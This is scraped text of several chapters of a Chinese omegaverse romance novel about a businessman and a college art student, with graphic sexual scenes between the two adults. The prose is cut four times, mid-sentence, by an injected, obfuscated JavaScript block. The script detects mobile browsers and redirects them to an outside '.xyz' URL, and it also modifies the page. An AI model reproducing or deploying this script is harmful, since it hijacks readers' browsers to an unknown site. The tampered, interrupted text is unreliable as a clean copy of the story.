半分钟后路鹿接起,背景音有点嘈杂:“喂。” 谢铮懒洋洋地躺在沙发上,声音都变得懒洋洋的:“想你了,宝贝儿。” 路鹿轻轻地笑起来。 带着笑的呼吸音简直像猫打呼噜一样治愈,谢铮小腹滚烫。 路鹿问:“那我去酒店?但我现在在外面,这里不好叫车,我过去可能要晚一点。” “那不用了。”谢铮朝着话筒吹了口气:“你随便说点儿什么。” 路鹿愣了愣,才反应过来谢铮的意思:“你——” 透过听筒,男生清澈的声音听起来有点陌生,谢铮用肩膀夹着耳机,单手解开皮带,手往下握,另一只手还握着冰凉的啤酒罐。 路鹿那边传来走路的声音,接着是开门关门的声音,然后路鹿那边变得安静了很多。 “你躲到哪里去了?” “杂物间。” 这是二楼的空教室,平时被艺术系的老师们用作堆放历年学生的旧作品和材料的地方,空气里弥漫着很浓的丙烯颜料和油画颜料混合的味道,路鹿面前堆放着不知道谁的速写练习册,封皮上落了厚厚的一层灰。 蓝牙耳机里是谢铮不加掩饰的喘息声。 说点什么呢? 路鹿换位思考了一下。 其实如果他是有需求的那个人,谢铮说什么都可以。 不过,最好是关于谢铮以前的事情。说一说谢铮初中,高中或者大学时候的生活,那些他曾经听过的,却没留意过的事情。 路鹿用手在速写本的灰尘上画了个笑脸:“我小时候总生病,四岁的时候还住过一次院。” 话音还没落,谢铮打断路鹿:“我操!蠢鹿你给老子闭嘴!让你说话不是让你说你鼻嘎大点儿时候的事情!我又不恋童!” 路鹿眨眨眼,忍不住笑起来。画画的手指没停下,在笑脸旁边又画了个卡通苹果。 他听出来谢铮现在应该是躺着的姿势,声音因为欲/望而显得沙哑,甚至轻柔,隔着听筒传来时,伴随着注定的失真,显得像是情人之间的亲昵的闲聊。 下了床之后谢铮其实不会和他说什么话,路鹿莫名很喜欢这种两人安静说话的氛围。他不自觉地也跟着放轻了声音,声线像是柔软的丝绸:“那,讲什么?” “你在床上不是挺会喘的吗?” 谢铮的需求很明确,路鹿就也没扭捏,用力喘了两下。 谢铮却又骂人了:“快停吧,和他妈重感冒患者一样。” 路鹿忍不住笑出声:“噗——” 被这么一闹谢铮算是彻底萎了,刚才的躁动以一种很诡异的方式平复了下去:“今天算了。明天再说。” “明天……谢叔叔,我想请个假。”路鹿提请假的口吻好像真的是谢铮的员工而并非只有肉/体关系的情人似的:“我们学校组织去山上写生,明天开始,一共三天。” “马石山?”Y市附近能叫得出名字的就这一个山,谢铮想起来自己上学的时候,就有同学三天两头地往山上跑,说是风景好,谢铮那时候就不理解喜欢爬山的人,现在还是不理解。 “嗯哈。” 谢铮没什么反应:“知道了。” 路鹿问:“谢叔叔有空吗,一起去?” 谢铮毫无兴趣:“不。” 路鹿拍拍手上的灰,又找到了一个废弃的颜料盒,他戳着里面早就干巴巴的颜料:“马石山这几年在开展旅游业,把山下改造成了城镇的样子,一到晚上灯火通明,很好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461899|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩的。” 可能是因为还是学生,谢铮发现路鹿身上一直有种过头的积极乐观的天真,就像他真的以为用这样引诱的语气对谢铮说话,谢铮明天就能去陪他爬山一样。 “蠢死了。”谢铮笑骂他一句:“挂了。” 隔天晚上,谢铮收到路鹿发来的图片。 点开看是一张自拍,男生头发上绑着五颜六色的彩绳,脸上笑得很欢。 再隔一天谢铮又收到他的照片,拍的是自己画的画,画纸上青山绿水,色彩明亮生动。 第三天的时候谢铮再次收到路鹿的自拍,嘴巴里咬着一块糕。 谢铮看着照片里路鹿漂亮的唇形,眼神暗了暗。 可能是因为身体已经尝过别人的滋味,谢铮这几天自己弄都有点索然无味。他问路鹿:什么时候回来? [蠢鹿]:下午三点走 距离现在还有三个半小时,谢铮打开地图软件算了一下路线:我去接你 老田今天出去办事,谢铮自己开着车去了马石山。 谢铮一路高速,到的时候时间是两点半,路鹿已经在山脚的停车场等他了,见到谢铮的时候愣了愣。 谢铮出来之前正在健身,简单的一身黑色运动衣,扣一顶黑色棒球帽,整个人看起来又酷又年轻,像运动系的学生。 路鹿坐上来后,谢铮抓着他的脸亲过去:“想不想老公?” 路鹿乖乖地笑着让他亲,吮着谢铮温热的舌尖,觉得很开心。 车内空间很大,谢铮放倒副驾驶的座椅,长腿一迈,整个人就从主驾驶跨坐到路鹿身上:“嗯?问你话呢。” 路鹿眼睛弯弯地回答:“想了。” 谢铮把路鹿的T恤下摆卷起来,塞到男生嘴里:“咬着。” 路鹿想笑的表情,含糊不清的声音:“我只在小说里看过这种描写。” “你还爱看小说呢?看什么类型的?” 谢铮的手划过路鹿的腰,那手上有茧,让路鹿更想笑了,他继续用含糊不清的声音说:“什么都看一点。” 路鹿穿的是运动裤,谢铮解开他腰上的绑带,明显觉察到对方身体的变化。 他问路鹿:“还记不记得上次我在酒店和你说过什么?” “什么?” 他狼似的盯着路鹿的眼睛:“我说我要干死你。” 路鹿才想起来好像是有这么回事。 那时候他太兴奋,谢铮被惹恼后,的确说过这样一句话。 “谢叔叔,”路鹿吐出嘴巴里的衣服:“我怕疼,真的。” “…………什么屁话。” 谢铮拍拍路鹿的脸:“难道你怕黑就不睡觉了?我是老板你是老板?” “别惹我生气,”谢铮表情阴森森:“你不让干,有的是人愿意被我干。” 路鹿的表情突然变成空白。 他脸上明亮的笑意消失不见,任何表情都没有,谢铮突然发现自己其实看不懂路鹿在想什么。 “谁呢?”路鹿轻轻地问:“club里的那些人?其他的学生?或是别的omgea?别的alpha?” “……重点是这个吗?” 路鹿用那双浅色的眼睛看着谢铮:“不是说暂时不会有其他人吗?” 12.第 12 章 第12章 谢铮压低眉眼:“你和谁说话呢?” 柚子味道的信息素铺天盖地挤压过来,把谢铮整个包裹住。这是属于alpha之间兵不血刃的对抗,谢铮额头立刻出了汗。 他立刻用信息素护住自己,浓烈的烟熏胡椒气味掺杂着清香的柚子,车厢内的味道有说不出的怪异。 像是哪个老农民的果园被火烧了。 路鹿没说话,抿着唇把手往谢铮那探。 谢铮觉察到他的动作,本来是想躲开,无奈车内还是拥挤,还是被路鹿一把握了个正着。 谢铮皱眉:“你给我松手!” 谢铮很多年没动过手了,但不代表他忘记了。他剑拔弩张勾着唇角看路鹿,就算是这种时候了,谢铮还是觉得路鹿乖巧又不失硬挺的五官实在很合自己的口味。 如果等下真的打起来,他不会手软。但路鹿撑起身子抬头吻了谢铮,温热的嘴唇封住谢铮的唇,倒不是什么带着怒火的吻,反而很黏糊暧昧。 路鹿另一手往上抬谢铮的腰,又让他重重往下坐。 身体先谢铮一步回忆起了被路鹿触摸的感觉,有了反应,因为就坐在路鹿身上,他也明显感觉到路鹿的变化。 “你他妈,你他妈,你……” 谢铮拽着路鹿额前的头发,被刺激得手背青筋虬结,低喘两声,嗓音都哑了:“老实点儿!” 他伸手解裤带,路鹿把他的运动衣推到领口,顺着谢铮的脖颈往下亲。 谢铮反手去抽屉里拿润滑。 只是手才伸到一半,就被迫停了下来:“……呃,我操……” 谢铮不住吸气,表情混合着疼痛和愉悦,他感觉到路鹿裤子的布料,有些粗糙。 路鹿把座椅往前调整了一点,也不给谢铮反应的时间。谢铮感觉到自己的后脑一下下撞在车顶,发出“咚咚”的声音。 好在现在并非客流量高的时间,停车场没人在走动,否则一定会注意到这台晃动得厉害的车子。 小腹深处又开始出现那种让人不舒服的、想要干呕的感觉,像是有什么东西被撬开,又尖锐又刺激。 谢铮张着嘴巴,只能从喉咙深处发出短促的音节。 爽死了。 “叮铃——” 仿佛催命一样的消息提示音一声声响起,谢铮浑身紧绷了一下,胸口和小腹的肌肉开始不住痉挛起来,他用力咬着路鹿肩膀:“小鹿……小王八蛋……” 谢铮小死了足有半分钟,才想到去拿手机,路鹿在座位下面找到了铃声大作的手机,递给谢铮。 谢铮打开抽屉,把里面的湿巾扔到路鹿身上,路鹿抽了几张,快速帮两人做了个清理。 谢铮还坐在路鹿身上,懒洋洋的不愿意动弹,神色都是餍足。 他打开手机,看到胡奇志给自己发消息。他在城南的高尔夫球场遇见了谢铮一直想结识的人。 他发消息没藏着路鹿,谢铮本来是打算先尽职尽责地把路鹿送回学校再过去的,路鹿却道:“谢叔叔,等下我和同学一起坐巴车回学校就行。” 谢铮道:“也行。” 谢铮摸了根烟,路鹿从他手里接过打火机,帮他点上。 谢铮喂了他一口烟,眉眼舒展。 他脾气不好,但刚刚才刚开始动气,就被伺候了个舒爽,那点气也跟着消了。 路鹿帮谢铮在裤子抽绳上打了个蝴蝶结,凑近谢铮,轻轻地问:“谢叔叔,我能和你商量一件事吗?” 谢铮扬眉看着他,示意路鹿继续说下去。 路鹿伸出两根手指:“两年。” “谢叔叔你这两年内别找别人,行么?” 谢铮剑眉再挑高了一点,有些意外。 路鹿不希望他身边有别人,他倒不是不能理解。人一多就容易起纷争,安全健康问题也很难得到保障,谢铮目前除了路鹿也没有找别人的打算。 只是为什么会是两年? 说长不长,说短不短的时间。 但紧接着谢铮又想到了一件事。 路鹿今年大二,如果他不打算继续深造,两年后他将会迎来毕业。到那时,海阔凭鱼跃,路鹿可以凭借着自己在社会上闯荡。 谢铮突然不悦。 并不是出自占有欲,他作为一个老板,得知自己手下的员工正在骑驴找马,当然不悦。 他有些兴致缺缺,故意说:“如果到时候你爱上我,不肯遵守约定怎么办?” 路鹿一愣,笑起来。 他说:“那我就只好厚着脸皮求叔叔只喜欢我一个了。” 这话不知道怎么反而取悦了谢铮,他到底笑起来,但也没一口答应下来,只是说:“再说吧。” 他重新从副驾驶坐回到主驾驶位,坏笑着伸手点一下路鹿的嘴角:“这里没擦干净。” 路鹿一愣,耳朵顿时有变红的倾向,连忙又抽了一张湿纸巾,像洗脸一样把脸擦了个遍。 看他擦完,谢铮朝他勾手指:“过来。” 两个人亲昵地在车里接了一会吻,日头不知道什么时候调转了方位,从斜侧方照过来,谢铮的手指插/在路鹿柔软的头发里,像拿捏动物一样捏路鹿的后颈,有点用力的力道,但不疼,很舒服。 谢铮亲够了,松开路鹿:“走吧。” 路鹿下车,谢铮低头回胡奇志的消息,突然听到车窗被人敲了一下,他抬头,看到路鹿。 谢铮按下车床:“怎么了?” “其实马石山还挺好玩的。”路鹿说:“下次我们再一起来玩吧。” 谢铮:“…………你就这么喜欢爬山?” “不爬山也行,”路鹿说:“谢叔叔,下次我们一起出去玩儿吧。” 谢铮听明白了:“想和叔叔约会啊?” “嗯。” “等有机会的吧。” 这个点儿正好是同学们下山集合的时间,崔松柏看到路鹿:“小鹿,你刚跑哪去了?包都没拿。” “随便转了一下。”路鹿接过自己的书包背上,手里又被谁塞了个很硕大的李子:“茶水店的奶奶送的,可新鲜呢,你尝尝。” 路鹿又从包里翻出来一个面包,一口李子一口面包,埋头苦吃。 “看给咱家孩子饿的。”崔松柏老母亲一样的目光看路鹿:“你少吃两口,等下大王说带咱们去吃炖菜。” 路鹿应了声,但觉得剩下一半不好拿,到底还是把面包和大李子都吃完了。又从包里摸出水和小药瓶,倒了两粒和水吞了。 拐角处一辆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467412|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车拐出来,同学中有人立刻兴奋起来:“我们这里也有这种车??” “是改装的!!你看流线不太一样!我去,这声音,肯定加缸了吧?” 路鹿认出是谢铮的车。 他对车的理解仅限于考驾照。并不懂车的品牌,他在网上搜索过谢铮的车,差点被后面的一串数字闪到眼睛。 路鹿目送着谢铮的车离开。 同学意犹未尽:“不知道车主人是谁。” 路鹿想,他就知道车的主人是谁,刚刚他把车主人在副驾驶上送到了云端,还在车主人的腰上留下了指痕。 - 接下来几天谢铮都在社交。 打到一个新社交圈里总是不容易,谢铮早年的时候吃了不少苦头,好在现在总算不用再那样憋屈,当年让他憋屈的人现在大部分已经和他平起平坐了,还有一部分已经退出行业。 你厉害了就没人敢再欺负你。其实当老板和当混混有什么区别?其实都是用拳头说话。 四月末的时候,谢铮的母亲联系了他。 谢父谢母明明早就已经在谢铮离开家的第一天就开始到处打探谢铮的去向,近况,但这竟然是第一次直接联系谢铮。 谢铮接起电话:“妈。” 谢母开门见山地问:“你在哪呢?还准备回来吗?” 语气不客气,但对谢母来说已经算得上是服软。 但只有服软是远远不够的。 谢铮笑。 “笑什么?说话。” “没什么,妈,我等下还有事呢,先不说了。” 谢母一愣,还要再说什么,谢铮已经先一步挂断了通话。 谢铮确实没说谎,他现在就是准备出门,那几个老板今天兴致大发地说要水库钓鱼。 不过因为这个电话,谢铮心情开始变得糟糕。他和胡奇志说了一声自己有事,推了今天的行程。 心烦的时候人就想找点开心的事,谢铮打开电视看了一会儿,突然抓起手机给路鹿发了个消息:干嘛呢? [蠢鹿]:上课 [蠢鹿]:好饿呀,好饿,好饿 谢铮脑海里突然想起来路鹿上次守着垃圾桶啃面包的样子。 [谢]:晚上出来吃饭? 路鹿回得很快:好! 谢铮对食物没什么讲究,开车逛着,随便选了家看起来还不错的餐厅。 谢铮点了红酒,问路鹿:“喝么?” 路鹿摇头。 谢铮被他一本正经的样子逗笑:“真是乖小孩。” 这家是一间网红西餐厅,风景固然不错,价格也很可观,想吃饱的话,需要花费谢铮给路鹿的月工资的近三分之一。 路鹿翻来覆去地看着菜单,半天选不出一个菜品,最后问谢铮:“谢叔叔,我们去吃火锅吧?” 谢铮靠在椅子上:“少废话,老子今天就想吃点儿高雅的洋人饭。” 路鹿:“…………” 这话可说的真是一点都不高雅。 路鹿最后点了杯柚子汁和煎牛排,谢铮抿了口酒,突然问他:“你家里是不是挺疼你的?” - 路鹿微博 [发布于3天前] @Deer:1/730 13.第 13 章 第13章 谢铮问话的时候路鹿挑盘子里的小番茄。 他把那几颗小番茄堆成很有艺术性的一堆,乖巧回答谢铮的提问:“是吧,我还挺招长辈喜欢的。” 谢铮看着路鹿蠢兮兮的笑脸,觉得自己几乎能够幻想出他的前十八年的生活。 算不上富有但也不能说贫穷的小家庭,一家三口会在饭点坐在小小的餐桌旁吃饭,父母都很疼爱这个懂事的孩子,对他笑,摸他的头,假装埋怨他很调皮。 谢铮随口问:“你长相更像谁?” 路鹿仰头思索,好半天后才答:“应该是妈妈吧。” 谢铮挑了挑眉头。 很简单的一个提问,换成是他来回答,不会犹豫这么久。 路鹿却想了足有半分钟才回答出来。 路鹿像是知道谢铮在奇怪什么,弯着眼睛解释道:“我是和爷爷奶奶一起长大的。” 和爷爷奶奶一起长大?什么意思? 没见过父母? 被抛弃?还是别的什么原因? 重重猜测从谢铮脑海里一闪而过,再抬眼看路鹿的笑脸时,就忍不住皱了下眉。 “蠢死了,”谢铮说:“赶紧吃。” 等吃完饭之后倒是发生了一个小插曲。 车都开到一半了,路鹿才发现自己手机落在了餐厅里。他调转车头回去拿,这一来一回,错过了宿舍关门的时间。 谢铮其实今天本来是想直接回宋清远那儿歇着的。 但他不会做带别人回朋友家乱搞那样没品的事,于是吩咐路鹿:“去酒店。” 那间房间谢铮已经让老田包下来,前台值班的人都已经认识谢铮,见到他来,还送个果盘和零食,被路鹿笑眯眯地接过去。 进到房间之后路鹿带着清香的柚子味道低头来亲谢铮,手往谢铮衣摆下钻。 谢铮推开他:“今天不做。” 路鹿“啊”了声,细细看着谢铮的眉眼:“心情不好么,谢叔叔?” 谢铮没说话。 谈不上什么心情不心情,只是觉得没意思。每次和他妈说过一次话,谢铮的情绪就好像被人按下了重置键似的,不论是好的还是坏的情绪都变得空白,需要重新积攒。 “是不是累了?”路鹿问:“我叫份热牛奶吧?或者洗点水果?” “……”谢铮听得好笑:“哄孩子呢?宝贝儿,你还挺可爱的。” 谢铮抬手掐路鹿的脸,路鹿眯着眼很乖的表情被谢铮捏来捏去。 看他这样,谢铮心里头生出了一点儿使坏的心思。 他把手指送到路鹿嘴里,路鹿含着,还口齿不清地问:“想吃葡萄还是草莓?” 谢铮到底被逗笑了:“葡萄。” 话音落下,谢铮感觉到裤袋里的手机开始震动,拿出来一看,发现竟然是宋清远打来的。 谢铮扬了扬眉:“这不是宋老师么,怎么了?” 路鹿的眼睛在一瞬间变得黯淡下去。 他咬一下谢铮的指尖,从果盘里拎起葡萄走到水池前。 身后传来谢铮和宋清远聊天时带笑的声音。 两年后会是怎么样呢?这段关系走向完结,谢铮找到了他更喜欢的人? 路鹿用力吐出一口气,才发现有好几颗葡萄已经被自己捏烂了,浅绿色的汁水从他白皙的指尖滴落下去。 等路鹿洗好葡萄出来,谢铮也挂断了和宋清远的通话,正在看电视。 路鹿走到谢铮旁边剥葡萄皮,把葡萄喂给他。 夜间的电视没什么好看的,十个台,有九个都在演恨海情天的狗血剧,剩下一个本地台在播夜间新闻。 新闻也没什么意思,先是一群医生在庆祝某某疾病取得了阶段性的进展,接着是某学校学生联名上书教授学术作假。 谢铮看得昏昏欲睡,正想关掉电视,听到主持人说什么Y市房价上升太快,政府已介入监管。 谢铮翘起二郎腿,目露思索。 Y市毕竟是他生活过几年的城市。如果选择分公司的地点,一定会选择这里。 助理选了几个写字大楼,但各有优缺点,还在进行最后的抉择。 谢铮固然对手底下的有很强的掌控欲望,但还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478636|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不至于连这点事都要插手。 他想的是另一件事。 他看向路鹿:“你过几天有没有空,陪我看几套房子。” 路鹿剥葡萄的手顿了顿:“看房?谢叔叔你要在这儿买房吗?” “有合适的就买。” 谢铮报了几个楼盘名,路鹿笑:“巧了。有几个我去看过。陪环艺的学长考察去的。” 他抓过手机凑近谢铮,给他找自己拍过的照片。 谢铮笑了:“你偷拍我啊?什么时候?” 他伸手往下滑路鹿的相册,点开角落里一张照片,图片放大后,谢铮清楚地看到了睡着的自己。 看背景应该就是这间酒店,被子随意搭在腰上,露出宽且光裸的背,麦色的皮肤上面还有路鹿留下的咬痕和吻痕。 前后几张也都是谢铮的照片,大同小异,只是角度不同。 路鹿没有被抓包的尴尬,只是笑:“你也可以拍我。” 顿了顿,路鹿的声音变轻了点,他看着谢铮的眼睛,问他:“你想拍我吗?谢叔叔。” 谢铮看他一眼,突然扯开自己领子,把路鹿的头按在自己胸前,懒洋洋地命令:“舔。” 片刻后,胸口传来湿润的触感。 谢铮把后颈靠在沙发上,仰头享受了一会。 接着他抓起路鹿的手机,扯着路鹿的额发,逼他把头抬起来了一点。 “咔嚓” 手机里的画面将两人定格在此刻。 画面的上半截,谢铮看着镜头笑得很欢;下半截,路鹿鲜红的舌尖还露在外面。 “照片得这么拍,”谢铮丝毫没有教坏小孩的罪恶感:“学会了吗?” 两人目光对上,路鹿眼神闪烁了一下,低低地“嗯”了声。 时间再晚一点,两人就躺在床上准备休息了。 说起来,这应该是两人第一次什么都不用做地躺在同一张床上。 酒店的床很大,谢铮和路鹿一人一床被子,中间是泾渭分明的一条三八线。 路鹿听着谢铮的呼吸声,想,如果谢铮今晚也想做就好了。 14.第 14 章 第14章 休息一夜后,谢铮情绪重新回升。 易感期的副作用也随之而来。 谢铮这才想起来自己昨晚没注射抑制剂就睡了。 现在他整个人都是滚烫的,开始极度地渴求着有什么东西能来安慰自己。 房间的窗帘没有拉得太严实,稀薄的晨光从缝隙中透进来,微微照亮路鹿的脸庞。 睡在同一张床上的年轻人面朝着谢铮侧躺着,睡得很熟,有些长的额发挡住眼睛,露出挺秀的鼻梁和淡色的嘴唇。 谢铮翻身坐到路鹿身上,捏着路鹿的下巴凶猛地吻他,路鹿缓缓睁开眼,还有些迷茫:“……谢……” 话一出口,路鹿就闻到了谢铮身上散发的浓郁的烟熏胡椒的味道,感觉到皮肤微微刺痛的感觉。 是易感期。路鹿很快反应过来。 谢铮抬手脱掉自己的衣服,又低头急切地去找路鹿的嘴唇。 路鹿的心脏开始加速跳动,但尚留有理智。 “谢叔叔,抑制剂你放在哪里了?”路鹿声音听起来不太稳:“包里还是车里?我去拿。” “操……你到底在废话什么?”谢铮拧着眉头:“你这不是有反应了吗?” 谢铮说话的时候,腰还在动弹,路鹿被他蹭得额头冒了汗,还在解释:“长时间保持易感状态,可能对身体不好。” 说到底一个alpha无法为另一个陷入易感期的alpha提供任何帮助,路鹿就算释放再多的信息素,也无法安抚谢铮。 路鹿还在试图起身:“等等……” 谢铮弯腰,凑到他耳边。 “等不了了,”谢铮湿漉漉的气息落在路鹿耳朵上:“小鹿,乖小鹿,你让我爽了,我就让你标记我,好不好?” 谢铮就好像从来不知道害羞是什么似的,一张嘴巴百无禁忌,什么话都说得出来。路鹿一愣,被刺激得硬是出了汗,搭在谢铮腰上的手猛地掐紧了。 他握着谢铮的肩膀翻了个身,开口说话时,嗓音已经全哑了。他问谢铮:“谢叔叔,你知道吗?” 谢铮搂着路鹿的脖子亲他,含糊不清地问:“知道什么?” 路鹿说:“昨晚的手机,我是故意落在餐厅的。” 谢铮的意识其实已经很模糊了,他反应了好久才知道路鹿在说什么。他笑:“就这么想和叔叔做啊,宝贝儿?那你现在……哈……” 话还没说完,谢铮突然骂了一声,控制不住地仰起头,浑身肌肉都在痉挛。 路鹿看着难耐抖动的谢铮,有些惊讶地停住动作,怎么都没想到谢铮这次竟然这么……迅速。 谢铮倒是一点儿都没觉得丢人,他腿搭在路鹿腰上,笑:“继续。” - 等折腾完已经是几个小时以后了。 天色大亮,床上一片泥泞。 谢铮已经昏沉沉地不知道是睡过去还是晕过去,空气里全是他信息素的味道。 路鹿跳下床,立刻倒吸一口凉气:“啊疼疼疼——” 说什么让他来标记,假的假的,都是哄人的,把他哄得团团转。 其实他根本就没能碰到谢铮的后颈,反而是谢铮一口牙厉害得很,平时就老爱咬人,今天更是没轻没重的,他身上好几个印子都深得吓人。 他一通翻找,才在谢铮包的夹层里找到抑制剂,他帮谢铮注射进去,这才终于松了口气。 把包拉上的时候路鹿看到谢铮包里的领带,暗红色的条纹领带,路鹿想了想,留了张纸条通知了一下谢铮,把领带拎出来放到自己书包里了。 他今天还有课,帮谢铮叫了个早餐后就匆匆离开了。 宋清远离开后,雕塑课都是系里哪位老师有空就来代课,路鹿的骨头版断臂维纳斯已经搭了个雏形出来,比路鹿还高一头,光看大小就已经很有压迫力。 路鹿拍了个照发给宋清远,想了想,给谢铮也发了一张。 [谢]:。 [谢]:什么东西? [Deer]:维纳斯 [谢]:看不懂,我喜欢 顿了顿,路鹿又收到谢铮发来的消息。 [谢]:臭小子,我的领带 路鹿忍不住笑起来。 谢铮也没真的要和路鹿计较领带的事,他扯着嘴角给路鹿发消息:你他妈今天早上也太拼了吧,吃了大力丸了? [谢]:下次饶不了你 当然,这不能全怨路鹿。谢铮还记得自己当时搂着路鹿的脖子,都疼得浑身发麻了,还不断地告诉他再用力点,接着身体深处就传来那种仿佛有什么东西被撬开的感觉,酸酸麻麻,让人灵魂都跟着震颤。 光是回味起来,谢铮都觉得腰又开始发软。他舔了舔自己的后槽牙,看到路鹿问自己:下次什么时候见面?谢叔叔。 [谢]:再说吧,这段时间忙 谢铮说忙,是真的忙,好几次路鹿给他发消息,谢铮都是隔天才回复。 如此一来,五一的休假,以及五一后的校庆,路鹿自然没有成功邀请到谢铮。 在长达十天没有见到谢铮以后,路鹿还多了个新爱好——在按部就班地上学、打工之外,路鹿多了个新乐趣,就是找到人群中也许会偶遇的谢铮。 只不过就算生活在同一栋宿舍里的同校学生,也有可能因为各种原因,几个月都见不上一次面。 更别提谢铮只是住在学校旁边,要想偶遇其实很难。只要两人中有一人不主动提出见面,其实能遇到的概率几乎等于零。 五月份一到,气温陡然升高,太阳散发着烤人的热量。 今天是周末,路鹿没排班,和几个同学约好了要去商城买几件夏装。 同行的人alpha、beta、omega都有,平时大家都是同学走得近,也没什么性别意识,挤在一起互相给对方看衣服。 路鹿挑了两件T去试穿,从更衣间出来后发现外面只剩下了一个人。 是平面设计的同学,个子小小的omega男生,见到他,把手里的东西递给路鹿:“这件也挺适合你的,你要不要试一下?” “谢啦。” 路鹿伸手去接,男生却没立刻松手。 路鹿听到男生问自己:“下次要不要我们俩一起去逛逛?你也是单身吧?” 路鹿一愣,笑起来:“……我有在意的人了。” 男生抿了抿唇,路鹿松开手:“抱歉。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485177|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这事儿算是个小插曲,快速地翻了个篇。等其他同学出来以后,并没有人发现任何不对。 接下来同学们又说去快餐店吃联名的套餐,路鹿跟在最后面,手机突然收到消息。 [谢]:[转账0.5元] [Deer]:怎么了? [谢]:[转账0.5元] [Deer]:谢叔叔? [谢]:[转账0.5元] 路鹿:…… 怎么了这是?为了调戏他? 看着谢铮转来的1.5元巨款,路鹿又奇怪又想笑,正想给谢铮发个表情包,后领却突然被人用巨大的力气扯了一下。 路鹿猝不及防,猛地一个踉跄,却靠在了一个人肩膀上。 路鹿侧过头,看到谢铮叼着烟的侧脸。 将近半个月没见,谢铮还是那样锋利的样子,一件被肌肉箍得饱满的黑衬衣,领口敞开三颗,露出隐约的纹身。 “好久不见了,宝贝儿,想不想老公?”谢铮眯着眼,似笑非笑地往路鹿脸上吹一口烟,又在烟雾中使劲儿咬了他嘴唇一下。 路鹿表情呆呆地看着谢铮,嘴唇上的刺痛让他回过神来。 “谢叔叔,”路鹿眼睛亮晶晶的:“怎么在这里?” 谢铮脸上的笑容很大,也很冷:“不在这儿,怎么看你和别人打情骂俏?” 路鹿又是一愣,随即反应过来谢铮应该是看到刚刚自己和同学说话的那一幕。 “没有打情骂俏。”路鹿解释:“我拒绝了。” “老子就觉得当时气氛不对,还真是表白啊?你拒绝了?” “嗯。” 直到这个时候,路鹿才想起来自己压根儿就忘了去注意同学们的反应,他赶紧抬头去看,才发现谢铮其实是把自己拉到了后面的一个小巷里。这里仿佛与大道隔开,没人会关注到这样一个不透光的角落。 谢铮把路鹿按在墙壁上,手从拽着他的后领改成拽着他的前领。他用拇指摩擦路鹿的锁骨,语气很奇怪:“叔叔怎么不信呢?那样一个小o软绵绵地看着你,你说拒绝就拒绝了?” 谢铮应该相信他的,路鹿突然觉得气闷。 谢铮问他:“你怎么和他说的?” 路鹿抿抿唇,照实回答:“我说我有在意的人。” 谢铮扬了扬眉,表情突然就由阴转晴了。他终于松开拽着路鹿领口的手,改为拍拍他的脸:“很好。下次也这么说。” 下次。 路鹿也笑起来,他问谢铮:“谢叔叔今天怎么来这儿了?” 这条街上商场不少,但大多是学生爱来的地方,不是和动漫联名就是和明星联名,和谢铮不是很搭。 “开车路过,刚好看到你了。” 谢铮后退一步,歪头打量了一下路鹿,又啧一声:“穿的都是什么狗屁东西,你这从头到脚加起来能超过两百块钱么?和你同学说一声,就说你有事先回去了,我带你去买几件儿好的。” - 谢铮日记 [十三年前] 换了个班主任 三天找我谈了五次话 这么爱谈话怎么不去找人谈个恋爱 烦 15.第 15 章 第15章 谢铮的母亲就很爱逛街,总是约着谢铮伯母——也就是谢里他妈两人一起去逛街。 谢铮偶尔会被叫去拎包,通常逛到一半就不耐烦走了,谢铮还以为自己是不爱逛街,但直到今天才发现原来是对象错了。 就像现在,他给路鹿选衣服就很开心。 谢老板随手挑了两件T扔给路鹿,自己也跟着进到试衣间里,坐在旁边的椅子上。 路鹿抬手脱掉自己身上的衣服。 短袖下面他还穿了件白背心,随着他脱衣服的动作,谢铮能看到年轻人半遮半露的皮肤。 路鹿的身材就是少年人的体型,纤细修长,但并不瘦弱,上面覆盖着一层匀称的肌肉。 谢铮的易感期还留了个尾巴,本来这几天都没什么事了,这会儿看着路鹿,喉结不受控制的滚动两下,勾着路鹿的裤腰把他扯过来。 他掀开路鹿背心的一角,用尖锐的虎牙去摩擦路鹿的小腹,头顶上传来男生轻轻的笑声:“好痒啊,谢叔叔。” 